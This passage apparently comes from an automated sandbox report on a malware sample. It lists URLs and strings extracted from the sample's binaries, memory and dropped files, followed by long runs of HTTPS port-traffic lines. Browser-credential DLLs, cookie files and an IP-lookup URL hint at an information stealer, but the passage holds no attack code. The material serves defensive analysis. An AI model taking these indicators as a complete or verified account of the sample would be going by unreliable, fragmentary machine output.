Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_455.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_455.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_455.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_455.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://gaana.com/
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: JEBKECAFIDAFIECBKEHD.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://m.kugou.com/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://m.vk.com/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.16.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.16.dr	String found in binary or memory: https://msn.comXIDv10
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://music.amazon.com
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://music.apple.com
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log1.15.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log8.15.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377268189405908.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://open.spotify.com
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_455.11.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.com/
Source: CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://tidal.com/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://twitter.com/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://web.telegram.org/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://web.whatsapp.com
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: content.js.15.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 30576438-8f18-48c0-9a1e-e4556e912b75.tmp.16.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_455.11.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_455.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_455.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.last.fm/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.messenger.com
Source: CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1711623081.000000002393F000.00000004.00000020.00020000.00000000.sdmp, CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1711623081.000000002393F000.00000004.00000020.00020000.00000000.sdmp, CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.office.com
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.tiktok.com/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://www.youtube.com
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 65449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 65426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 65473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
